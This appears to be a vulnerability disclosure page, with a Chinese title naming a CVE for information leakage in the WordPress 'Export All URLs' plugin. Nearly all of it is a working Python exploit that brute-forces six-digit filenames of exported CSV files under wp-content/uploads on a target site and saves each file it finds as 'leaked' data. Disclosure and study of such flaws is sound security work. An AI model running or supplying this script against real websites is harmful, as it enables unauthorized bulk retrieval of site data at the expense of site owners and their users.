CVE-2026-2696: Export All URLs插件信息泄露漏洞

import requests # Target configuration target_domain = "http://example.com" base_url = f"{target_domain}/wp-content/uploads/export_all_urls_{{}}.csv" print(f"[*] Starting brute force for {target_domain}") # Iterate through all 6-digit combinations (000000 to 999999) for i in range(1000000): # Format the number with leading zeros, e.g., 000001 random_num = f"{i:06d}" url = base_url.format(random_num) try: response = requests.get(url, timeout=1) if response.status_code == 200: print(f"[+] Found valid file: {url}") # Save the downloaded file with open(f"leaked_{random_num}.csv", "wb") as f: f.write(response.content) # Optional: exit after finding one, or continue to find all # break except requests.RequestException: continue print("[*] Scan complete.")